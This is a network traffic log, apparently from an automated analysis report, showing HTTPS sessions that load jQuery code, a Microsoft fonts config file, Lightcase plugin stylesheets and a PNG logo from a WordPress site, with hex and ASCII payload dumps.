2024-10-07 11:17:00 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 29 7b 76 61 72 20 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 7c 7c 7b 7d 2c 68 3d 31 2c 69 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 6a 3d 21 31 3b 66 6f 72 28 22 62 6f 6f 6c 65 61 6e 22 3d 3d 74 79 70 65 6f 66 20 67 26 26 28 6a 3d 67 2c 67 3d 61 72 67 75 6d 65 6e 74 73 5b 68 5d 7c 7c 7b 7d 2c 68 2b 2b 29 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 7c 7c 6d 2e 69 73 46 75 6e 63 74 69 6f 6e 28 67 29 7c 7c 28 67 3d 7b 7d 29 2c 68 3d 3d 3d 69 26 26 28 67 3d 74 68 69 73 2c 68 2d 2d 29 3b 69 3e 68 3b 68 2b 2b 29 69 66 28 6e 75 6c 6c 21 3d 28 65 3d 61 72 67 75 6d 65 6e 74 73 5b 68 5d 29 29 66 6f 72 28 64 20 69 6e 20 65 29 61 3d 67 5b 64 5d 2c 63 3d 65 5b 64 5d 2c 67 21 3d 3d 63 26 26 28 Data Ascii: tion(){var a,b,c,d,e,f,g=arguments[0]\|\|{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments[h]\|\|{},h++),"object"==typeof g\|\|m.isFunction(g)\|\|(g={}),h===i&&(g=this,h--);i>h;h++)if(null!=(e=arguments[h]))for(d in e)a=g[d],c=e[d],g!==c&&(
2024-10-07 11:17:00 UTC	1378	IN	Data Raw: 61 63 65 28 6f 2c 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 70 2c 71 29 7d 2c 6e 6f 64 65 4e 61 6d 65 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 2e 6e 6f 64 65 4e 61 6d 65 26 26 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 76 61 72 20 64 2c 65 3d 30 2c 66 3d 61 2e 6c 65 6e 67 74 68 2c 67 3d 72 28 61 29 3b 69 66 28 63 29 7b 69 66 28 67 29 7b 66 6f 72 28 3b 66 3e 65 3b 65 2b 2b 29 69 66 28 64 3d 62 2e 61 70 70 6c 79 28 61 5b 65 5d 2c 63 29 2c 64 3d 3d 3d 21 31 29 62 72 65 61 6b 7d 65 6c 73 65 20 66 6f 72 28 65 20 69 6e 20 61 29 69 66 28 64 3d 62 2e 61 70 70 6c 79 28 61 5b 65 5d 2c Data Ascii: ace(o,"ms-").replace(p,q)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b,c){var d,e=0,f=a.length,g=r(a);if(c){if(g){for(;f>e;e++)if(d=b.apply(a[e],c),d===!1)break}else for(e in a)if(d=b.apply(a[e],
2024-10-07 11:17:00 UTC	1378	IN	Data Raw: 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 2b 6e 65 77 20 44 61 74 65 7d 2c 73 75 70 70 6f 72 74 3a 6b 7d 29 2c 6d 2e 65 61 63 68 28 22 42 6f 6f 6c 65 61 6e 20 4e 75 6d 62 65 72 20 53 74 72 69 6e 67 20 46 75 6e 63 74 69 6f 6e 20 41 72 72 61 79 20 44 61 74 65 20 52 65 67 45 78 70 20 4f 62 6a 65 63 74 20 45 72 72 6f 72 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 68 5b 22 5b 6f 62 6a 65 63 74 20 22 2b 62 2b 22 5d 22 5d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 72 28 61 29 7b 76 61 72 20 62 3d 22 6c 65 6e 67 74 68 22 69 6e 20 61 26 26 61 2e 6c 65 6e 67 74 68 2c 63 3d 6d 2e 74 79 70 65 28 61 29 3b 72 65 74 75 72 6e 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 3d 63 7c 7c 6d 2e 69 73 57 69 Data Ascii: nction(){return+new Date},support:k}),m.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(a,b){h["[object "+b+"]"]=b.toLowerCase()});function r(a){var b="length"in a&&a.length,c=m.type(a);return"function"===c\|\|m.isWi
2024-10-07 11:17:00 UTC	1378	IN	Data Raw: 41 53 53 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 5c 5c 2e 28 22 2b 4d 2b 22 29 22 29 2c 54 41 47 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 28 22 2b 4d 2e 72 65 70 6c 61 63 65 28 22 77 22 2c 22 77 2a 22 29 2b 22 29 22 29 2c 41 54 54 52 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4f 29 2c 50 53 45 55 44 4f 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 50 29 2c 43 48 49 4c 44 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 3a 28 6f 6e 6c 79 7c 66 69 72 73 74 7c 6c 61 73 74 7c 6e 74 68 7c 6e 74 68 2d 6c 61 73 74 29 2d 28 63 68 69 6c 64 7c 6f 66 2d 74 79 70 65 29 28 3f 3a 5c 5c 28 22 2b 4c 2b 22 2a 28 65 76 65 6e 7c 6f 64 64 7c 28 28 5b 2b 2d 5d 7c 29 28 5c 5c 64 2a 29 6e 7c 29 22 2b 4c 2b 22 2a 28 3f 3a 28 5b 2b 2d 5d 7c 29 22 2b 4c 2b 22 2a 28 5c 5c 64 2b Data Ascii: ASS:new RegExp("^\\.("+M+")"),TAG:new RegExp("^("+M.replace("w","w")+")"),ATTR:new RegExp("^"+O),PSEUDO:new RegExp("^"+P),CHILD:new RegExp("^:(only\|first\|last\|nth\|nth-last)-(child\|of-type)(?:\\("+L+"(even\|odd\|(([+-]\|)(\\d)n\|)"+L+"(?:([+-]\|)"+L+"*(\\d+
2024-10-07 11:17:00 UTC	1378	IN	Data Raw: 26 26 68 2e 69 64 3d 3d 3d 6a 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 28 68 29 2c 64 7d 65 6c 73 65 7b 69 66 28 66 5b 32 5d 29 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 64 2c 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 61 29 29 2c 64 3b 69 66 28 28 6a 3d 66 5b 33 5d 29 26 26 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 29 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 64 2c 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 6a 29 29 2c 64 7d 69 66 28 63 2e 71 73 61 26 26 28 21 71 7c 7c 21 71 2e 74 65 73 74 28 61 29 29 29 7b 69 66 28 73 3d 72 3d 75 2c 77 3d 62 2c 78 3d 31 21 3d 3d 6b 26 26 61 2c 31 3d 3d 3d 6b 26 26 22 6f 62 6a 65 63 74 22 21 3d 3d 62 2e 6e 6f 64 65 4e 61 6d 65 Data Ascii: &&h.id===j)return d.push(h),d}else{if(f[2])return H.apply(d,b.getElementsByTagName(a)),d;if((j=f[3])&&c.getElementsByClassName)return H.apply(d,b.getElementsByClassName(j)),d}if(c.qsa&&(!q\|\|!q.test(a))){if(s=r=u,w=b,x=1!==k&&a,1===k&&"object"!==b.nodeName
2024-10-07 11:17:00 UTC	1378	IN	Data Raw: 2b 62 2c 69 61 28 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 76 61 72 20 65 2c 66 3d 61 28 5b 5d 2c 63 2e 6c 65 6e 67 74 68 2c 62 29 2c 67 3d 66 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 67 2d 2d 29 63 5b 65 3d 66 5b 67 5d 5d 26 26 28 63 5b 65 5d 3d 21 28 64 5b 65 5d 3d 63 5b 65 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 70 61 28 61 29 7b 72 65 74 75 72 6e 20 61 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 61 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 61 7d 63 3d 67 61 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 66 3d 67 61 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 26 26 28 61 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 61 29 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e Data Ascii: +b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function pa(a){return a&&"undefined"!=typeof a.getElementsByTagName&&a}c=ga.support={},f=ga.isXML=function(a){var b=a&&(a.ownerDocument\|\|a).documentElemen
2024-10-07 11:17:00 UTC	1378	IN	Data Raw: 61 6d 65 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 3f 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 61 29 3a 63 2e 71 73 61 3f 62 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 29 3a 76 6f 69 64 20 30 7d 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 2c 64 3d 5b 5d 2c 65 3d 30 2c 66 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 61 29 3b 69 66 28 22 2a 22 3d 3d 3d 61 29 7b 77 68 69 6c 65 28 63 3d 66 5b 65 2b 2b 5d 29 31 3d 3d 3d 63 2e 6e 6f 64 65 54 79 70 65 26 26 64 2e 70 75 73 68 28 63 29 3b 72 65 74 75 72 6e 20 64 7d 72 65 74 75 72 6e 20 Data Ascii: ame?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return
2024-10-07 11:17:00 UTC	1378	IN	Data Raw: 21 3d 27 27 5d 3a 78 22 29 2c 72 2e 70 75 73 68 28 22 21 3d 22 2c 50 29 7d 29 2c 71 3d 71 2e 6c 65 6e 67 74 68 26 26 6e 65 77 20 52 65 67 45 78 70 28 71 2e 6a 6f 69 6e 28 22 7c 22 29 29 2c 72 3d 72 2e 6c 65 6e 67 74 68 26 26 6e 65 77 20 52 65 67 45 78 70 28 72 2e 6a 6f 69 6e 28 22 7c 22 29 29 2c 62 3d 24 2e 74 65 73 74 28 6f 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 29 2c 74 3d 62 7c 7c 24 2e 74 65 73 74 28 6f 2e 63 6f 6e 74 61 69 6e 73 29 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 3d 39 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 3f 61 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 3a 61 2c 64 3d 62 26 26 62 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 72 65 74 75 72 6e 20 61 3d 3d 3d 64 7c 7c 21 28 21 64 7c 7c 31 21 3d Data Ascii: !='']:x"),r.push("!=",P)}),q=q.length&&new RegExp(q.join("\|")),r=r.length&&new RegExp(r.join("\|")),b=$.test(o.compareDocumentPosition),t=b\|\|$.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d\|\|!(!d\|\|1!=
2024-10-07 11:17:00 UTC	1378	IN	Data Raw: 54 79 70 65 29 72 65 74 75 72 6e 20 64 7d 63 61 74 63 68 28 65 29 7b 7d 72 65 74 75 72 6e 20 67 61 28 62 2c 6e 2c 6e 75 6c 6c 2c 5b 61 5d 29 2e 6c 65 6e 67 74 68 3e 30 7d 2c 67 61 2e 63 6f 6e 74 61 69 6e 73 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 28 61 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 61 29 21 3d 3d 6e 26 26 6d 28 61 29 2c 74 28 61 2c 62 29 7d 2c 67 61 2e 61 74 74 72 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 28 61 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 61 29 21 3d 3d 6e 26 26 6d 28 61 29 3b 76 61 72 20 65 3d 64 2e 61 74 74 72 48 61 6e 64 6c 65 5b 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 2c 66 3d 65 26 26 44 2e 63 61 6c 6c 28 64 2e 61 74 74 72 48 61 6e 64 6c 65 2c 62 2e 74 6f 4c 6f 77 65 72 43 61 73 Data Ascii: Type)return d}catch(e){}return ga(b,n,null,[a]).length>0},ga.contains=function(a,b){return(a.ownerDocument\|\|a)!==n&&m(a),t(a,b)},ga.attr=function(a,b){(a.ownerDocument\|\|a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&D.call(d.attrHandle,b.toLowerCas

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49760	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:00 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-07 11:17:00 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=192458 Date: Mon, 07 Oct 2024 11:17:00 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-07 11:17:00 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49762	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:00 UTC	698	OUT	GET /2016/wp-content/themes/twb_2016/assets/plugins/lightcase/css/font-lightcase.css HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/plugins/lightcase/css/lightcase.css?ver=6.5.4 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:01 UTC	254	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:01 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:59:36 GMT Accept-Ranges: bytes Content-Length: 1424 Vary: Accept-Encoding Content-Type: text/css
2024-10-07 11:17:01 UTC	1424	IN	Data Raw: 2f 2a 0a 20 2a 20 4c 69 67 68 74 63 61 73 65 20 2d 20 6a 51 75 65 72 79 20 50 6c 75 67 69 6e 0a 20 2a 20 54 68 65 20 73 6d 61 72 74 20 61 6e 64 20 66 6c 65 78 69 62 6c 65 20 4c 69 67 68 74 62 6f 78 20 50 6c 75 67 69 6e 2e 0a 20 2a 0a 20 2a 20 40 61 75 74 68 6f 72 09 09 43 6f 72 6e 65 6c 20 42 6f 70 70 61 72 74 20 3c 63 6f 72 6e 65 6c 40 62 6f 70 70 2d 61 72 74 2e 63 6f 6d 3e 0a 20 2a 20 40 63 6f 70 79 72 69 67 68 74 09 41 75 74 68 6f 72 0a 20 2a 0a 20 2a 20 40 76 65 72 73 69 6f 6e 09 09 32 2e 31 2e 32 20 28 32 39 2f 30 39 2f 32 30 31 35 29 0a 20 2a 2f 0a 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 6c 69 67 68 74 63 61 73 65 27 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 27 2e 2e 2f 66 6f 6e 74 73 2f 6c 69 67 68 74 Data Ascii: /* * Lightcase - jQuery Plugin * The smart and flexible Lightbox Plugin. * * @authorCornel Boppart <cornel@bopp-art.com> * @copyrightAuthor * * @version2.1.2 (29/09/2015) */@font-face { font-family: 'lightcase'; src: url('../fonts/light

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49763	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:00 UTC	701	OUT	GET /2016/wp-content/themes/twb_2016/assets/plugins/lightcase/css/lightcase-default.css HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/plugins/lightcase/css/lightcase.css?ver=6.5.4 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:01 UTC	254	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:01 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:59:36 GMT Accept-Ranges: bytes Content-Length: 4643 Vary: Accept-Encoding Content-Type: text/css
2024-10-07 11:17:01 UTC	4643	IN	Data Raw: 2f 2a 0a 20 2a 20 4c 69 67 68 74 63 61 73 65 20 2d 20 6a 51 75 65 72 79 20 50 6c 75 67 69 6e 0a 20 2a 20 54 68 65 20 73 6d 61 72 74 20 61 6e 64 20 66 6c 65 78 69 62 6c 65 20 4c 69 67 68 74 62 6f 78 20 50 6c 75 67 69 6e 2e 0a 20 2a 0a 20 2a 20 40 61 75 74 68 6f 72 09 09 43 6f 72 6e 65 6c 20 42 6f 70 70 61 72 74 20 3c 63 6f 72 6e 65 6c 40 62 6f 70 70 2d 61 72 74 2e 63 6f 6d 3e 0a 20 2a 20 40 63 6f 70 79 72 69 67 68 74 09 41 75 74 68 6f 72 0a 20 2a 0a 20 2a 20 40 76 65 72 73 69 6f 6e 09 09 32 2e 31 2e 32 20 28 32 39 2f 30 39 2f 32 30 31 35 29 0a 20 2a 2f 0a 0a 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 7b 0a 0a 09 2f 2a 20 4f 76 65 72 6c 61 79 20 2a 2f 0a 09 23 6c 69 67 68 74 63 61 73 65 2d 6f 76 65 72 6c 61 79 20 7b 0a 09 09 64 69 73 70 6c 61 79 3a 20 6e 6f Data Ascii: /* * Lightcase - jQuery Plugin * The smart and flexible Lightbox Plugin. * * @authorCornel Boppart <cornel@bopp-art.com> * @copyrightAuthor * * @version2.1.2 (29/09/2015) /@media screen {/ Overlay */#lightcase-overlay {display: no

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49764	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:01 UTC	701	OUT	GET /2016/wp-content/themes/twb_2016/assets/plugins/lightcase/css/lightcase-max-640.css HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/plugins/lightcase/css/lightcase.css?ver=6.5.4 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:01 UTC	254	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:01 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:59:36 GMT Accept-Ranges: bytes Content-Length: 4273 Vary: Accept-Encoding Content-Type: text/css
2024-10-07 11:17:01 UTC	4273	IN	Data Raw: 2f 2a 0a 20 2a 20 4c 69 67 68 74 63 61 73 65 20 2d 20 6a 51 75 65 72 79 20 50 6c 75 67 69 6e 0a 20 2a 20 54 68 65 20 73 6d 61 72 74 20 61 6e 64 20 66 6c 65 78 69 62 6c 65 20 4c 69 67 68 74 62 6f 78 20 50 6c 75 67 69 6e 2e 0a 20 2a 0a 20 2a 20 40 61 75 74 68 6f 72 09 09 43 6f 72 6e 65 6c 20 42 6f 70 70 61 72 74 20 3c 63 6f 72 6e 65 6c 40 62 6f 70 70 2d 61 72 74 2e 63 6f 6d 3e 0a 20 2a 20 40 63 6f 70 79 72 69 67 68 74 09 41 75 74 68 6f 72 0a 20 2a 0a 20 2a 20 40 76 65 72 73 69 6f 6e 09 09 32 2e 31 2e 32 20 28 32 39 2f 30 39 2f 32 30 31 35 29 0a 20 2a 2f 0a 0a 2f 2a 20 52 65 64 75 63 65 64 20 6c 61 79 6f 75 74 20 66 6f 72 20 73 6d 61 6c 6c 20 64 65 76 69 63 65 73 20 2a 2f 0a 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 Data Ascii: /* * Lightcase - jQuery Plugin * The smart and flexible Lightbox Plugin. * * @authorCornel Boppart <cornel@bopp-art.com> * @copyrightAuthor * * @version2.1.2 (29/09/2015) // Reduced layout for small devices */@media screen and (max-width

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49765	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:01 UTC	646	OUT	GET /2016/wp-content/themes/twb_2016/assets/images/logos/iso-14001.png HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:01 UTC	233	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:01 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:59:04 GMT Accept-Ranges: bytes Content-Length: 17604 Content-Type: image/png
2024-10-07 11:17:01 UTC	7959	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 eb 00 00 00 ca 08 06 00 00 00 44 fa b7 46 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 22 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 30 36 37 20 37 39 2e 31 35 37 37 34 37 2c 20 32 30 31 35 2f 30 33 2f 33 30 2d 32 33 3a 34 30 3a 34 32 20 20 Data Ascii: PNGIHDRDFtEXtSoftwareAdobe ImageReadyqe<"iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42
2024-10-07 11:17:01 UTC	8000	IN	Data Raw: ef 02 de a3 46 8d d2 5d 46 9d 00 3f c2 ff 5e 50 4a fe 35 5b ea 91 2d f7 e8 e6 00 8d d8 5a 37 fc 45 b9 de 7c f3 cd f5 b4 47 55 ca 96 b3 f3 59 ca ae 5f bf 7e b5 04 ab ee c1 e8 66 b7 0a 66 41 d8 56 86 36 79 2f 56 4b 0e 52 d4 54 58 38 28 40 d1 84 95 b7 aa a0 92 d1 3c 7f 2c 13 2c 0a dc 3b a9 e0 1e 0d 73 55 cb 02 72 73 30 ba 35 20 74 73 b0 d6 a8 5b ad 12 e2 a2 54 66 60 65 cb d4 b9 84 0b 60 cb d8 39 79 bf 97 6e c6 15 00 fc 6e e1 a6 dd 49 02 a7 b4 a6 8f 76 12 61 8d 47 73 36 d8 44 96 a1 27 cf 57 ad 5a 55 a6 f8 ae f2 66 ea 71 71 66 ae 4b f8 2f 5f 96 45 58 5d 91 86 55 11 c0 e2 41 f5 53 56 aa 9d 6b 02 38 9e 78 b3 91 00 d6 f2 b0 fe e1 0f 7f 68 81 3d fc 45 59 fc 20 52 09 3e 1b 3b 1f f9 69 51 3d 77 ac 53 75 75 35 2a ab 42 a1 2c d6 92 df 6e 56 6c 6a 39 18 6b 35 80 e5 4d Data Ascii: F]F?^PJ5[-Z7E\|GUY_~ffAV6y/VKRTX8(@<,,;sUrs05 ts[Tf`e`9ynnIvaGs6D'WZUfqqfK/_EX]UASVk8xh=EY R>;iQ=wSuu5*B,nVlj9k5M
2024-10-07 11:17:01 UTC	1645	IN	Data Raw: 43 31 77 79 73 fd c0 81 03 2f 7c f0 c1 07 5b 05 0b 49 af b3 43 42 f4 4c 4a 56 58 79 60 bd b3 fd 0b d0 a6 0c 1d 3a f4 a9 b4 b4 b4 7f 04 ab b2 ac 70 91 89 f9 9f bd 7b f7 fe e7 93 4f 3e 39 2c 81 d0 68 cf bf 76 48 ae dd 3b e0 1c 2b e8 a5 a7 a7 bf 1c e8 35 aa 2b 17 b0 c1 e5 cc cf 13 97 e2 70 05 09 28 da 73 fb 28 26 97 57 34 52 53 ac 3e ce 45 7b dd dc b5 d5 68 6c ae 64 02 35 51 61 e5 0b bf 53 c3 2c 4e 21 85 bd fc de 7b ef fd bf 46 aa 65 52 6d 3f 3e 7d fa f4 c2 d7 5f 7f fd 23 45 7b 82 6a 33 dd f8 64 b0 7a 2a 9c 91 23 47 4e c7 3c 53 81 04 68 c6 8f 1f cf 96 8d 74 2b fe 83 ca 83 6a ae 51 55 74 a0 0a 6a 7a 28 f9 06 d7 a2 a8 a8 68 9c 30 58 9c 57 53 ad 91 33 09 1b f1 4d 46 58 45 60 35 55 76 c0 80 01 77 35 6f de fc 15 f2 0d db 84 e1 9c 95 04 6e ee c5 8b 17 73 a7 4d 9b Data Ascii: 